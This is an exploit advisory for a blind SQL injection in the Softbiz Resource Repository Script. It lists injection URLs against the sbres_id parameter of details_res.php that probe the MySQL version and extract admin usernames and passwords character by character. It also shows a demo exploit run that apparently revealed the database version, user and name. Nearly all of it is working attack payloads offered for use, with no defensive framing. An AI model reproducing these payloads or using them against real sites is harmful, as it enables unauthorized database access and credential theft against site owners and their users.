Softbiz Resource Repository Script Blind SQL Injection Vulnerability

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$  Softbiz Resource repository script Blind SQL Vulnerability  (Normal version)            
$  Author : Sangteamtham                                                                    
$  Home  : Hcegroup.net & vnbrain.net                                                 
$  Download :http://www.softbizscripts.com/FAQ-script-features.php   
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$ check version : /resource/details_res.php?sbres_id=[id number]+and substring(version(),1,1)=4 
$                        /resource/details_res.php?sbres_id=[id number]+and substring(version(),1,1)=5
$                        /resource/details_res.php?sbres_id=[idnumber]+and+(select+substring(concat(1,password_column),1,1)+from+admin_info_table+limit+0,1)=1/*  
$                       /resource/details_res.php?sbres_id=[idnumber]+and+(select+substring(concat(1,username_column),1,1)+from+admin_info_table+limit+0,1)=1/*
$  note: password_column,username_column,admin_info_table depend on the database installed
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$ Demo: 
$ In the demo site : 
$ 
$ Exploit: 
$ http://server/resource/details_res.php?sbres_id=121%20and%20substring(@@version,1,1)=5
$ MySQL version: 5.0.81-community
$ User: softbiz_kuber@localhost
$ Dataabase: softbiz_resource